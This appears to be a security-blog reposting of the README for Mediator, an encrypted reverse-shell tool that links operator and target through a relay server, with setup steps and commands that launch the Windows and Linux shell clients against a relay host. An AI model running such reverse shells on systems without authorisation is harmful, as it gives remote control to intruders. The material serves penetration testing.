Mediator : An Extensible, End-To-End Encrypted Reverse Shell With A Novel Approach To Its Architecture

Mediator is an end-to-end encrypted reverse shell in which the operator and the shell connect to a “mediator” server that bridges the connections. This removes the need for the operator/handler to set up port forwarding in order to listen for the connection. Mediator also allows you to create plugins to expand the functionality of the reverse shell.

You can run Mediator’s scripts as standalone executables or you can import them for integration into other pentesting and incident response tools.

Architecture

Inspired by end-to-end encrypted chat applications, Mediator takes a unique approach to the client/server model of a reverse shell. Mediator uses:

  1. A client reverse shell
  2. A client handler/operator
  3. A server that bridges the two connections

Reverse shells and handlers connect to the Mediator server with a connection key. The server listens on port 80 for handler connections and port 443 for reverse shell connections. When clients connect to the mediator, the server queues the clients according to their respective type and connection key. When both a reverse shell and an operator connect to the server with the same key, the server will bridge the two connections. From there, a key exchange is done between the two clients, and all communication between the reverse shell and operator is encrypted end-to-end. This ensures the server cannot snoop on the streams it is piping.

Plugins

Plugins allow you to add extra commands that can execute code on the operator’s host, the target host, or both! Please refer to the README in the plugins directory for more information about plugins.

Instructions

Server

The client scripts can be run on Windows or Linux, but you’ll need to stand up the server (mediator.py) on a Linux host. The server is pure Python, so no dependencies need to be installed. You can either run the server script with

$ python3 mediator.py

or you can build a Docker image with the provided Dockerfile and run it in a container (make sure to publish ports 80 and 443).

Clients

You will need to install the dependencies found in requirements.txt) for the clients to work. You can do this with the following command:

$ pip3 install -r requirements.txt

See Tips and Reminders at the bottom for help on distributing the clients without worrying about dependencies.

The handler and the reverse shell can be used within other Python scripts or directly via the command line. In both cases, the clients can accept arguments for the server address and connection key. Usage of those arguments is described below.

Mediator server address

For Python script usage, the address of the mediator host is required upon instantiation:

Handler class

from handler import Handler
operator = Handler(mediatorHost=”example.com”)
operator.run()

WindowsRShell class

from windowsTarget import WindowsRShell
shell = WindowsRShell(mediatorHost=”example.com”)
shell.run()

If executing a client script directly from a shell, you can either hard code the address at the bottom of the script, or the server address can be specified as an argument with the -s or --server flag:

handler.py

$ python3 handler.py -s example.com

windowsTarget.py

> python windowsTarget.py -s example.com

Connection key

When two handlers or two reverse shells connect to the mediator server with the same connection key, only the first connection is queued awaiting its match. Until the queued connection either times out (30 seconds) or matches with a counterpart connection, all other clients of the same type trying to connect with the same connection key will be dropped.

It is important to make sure each handler is using a unique connection key to avoid a race condition resulting in the wrong shell being given to an operator.

Only keys with the prefix “#!ConnectionKey_” will be accepted by the server. The default connection key is “#!ConnectionKey_CHANGE_ME!!!”.

To change the connection key for Python script usage, the connection key can optionally be supplied upon instantiation:

Handler class

from handler import Handler
operator = Handler(mediatorHost=”example.com”, connectionKey=”#!ConnectionKey_secret_key”)
operator.run()

LinuxRShell class

from linuxTarget import LinuxRShell
shell = LinuxRShell(mediatorHost=”example.com”, connectionKey=”#!ConnectionKey_secret_key”)
shell.run()

If executing a client script directly from a shell, you can either hard code the connection key at the bottom of the script, or the connection key can be specified as an argument with the -c or --connection-key flag:

handler.py

$ python3 handler.py -s example.com -c ‘#!ConnectionKey_secret_key’

windowsTarget.py

>python windowsTarget.py -s example.com -c ‘#!ConnectionKey_secret_key’

R K

Recent Posts

Shadow-rs : Harnessing Rust’s Power For Kernel-Level Security Research

shadow-rs is a Windows kernel rootkit written in Rust, demonstrating advanced techniques for kernel manipulation…

1 week ago

ExecutePeFromPngViaLNK – Advanced Execution Of Embedded PE Files via PNG And LNK

Extract and execute a PE embedded within a PNG file using an LNK file. The…

2 weeks ago

Red Team Certification – A Comprehensive Guide To Advancing In Cybersecurity Operations

Embark on the journey of becoming a certified Red Team professional with our definitive guide.…

3 weeks ago

CVE-2024-5836 / CVE-2024-6778 : Chromium Sandbox Escape via Extension Exploits

This repository contains proof of concept exploits for CVE-2024-5836 and CVE-2024-6778, which are vulnerabilities within…

3 weeks ago

Rust BOFs – Unlocking New Potentials In Cobalt Strike

This took me like 4 days (+2 days for an update), but I got it…

3 weeks ago

MaLDAPtive – Pioneering LDAP SearchFilter Parsing And Security Framework

MaLDAPtive is a framework for LDAP SearchFilter parsing, obfuscation, deobfuscation and detection. Its foundation is…

3 weeks ago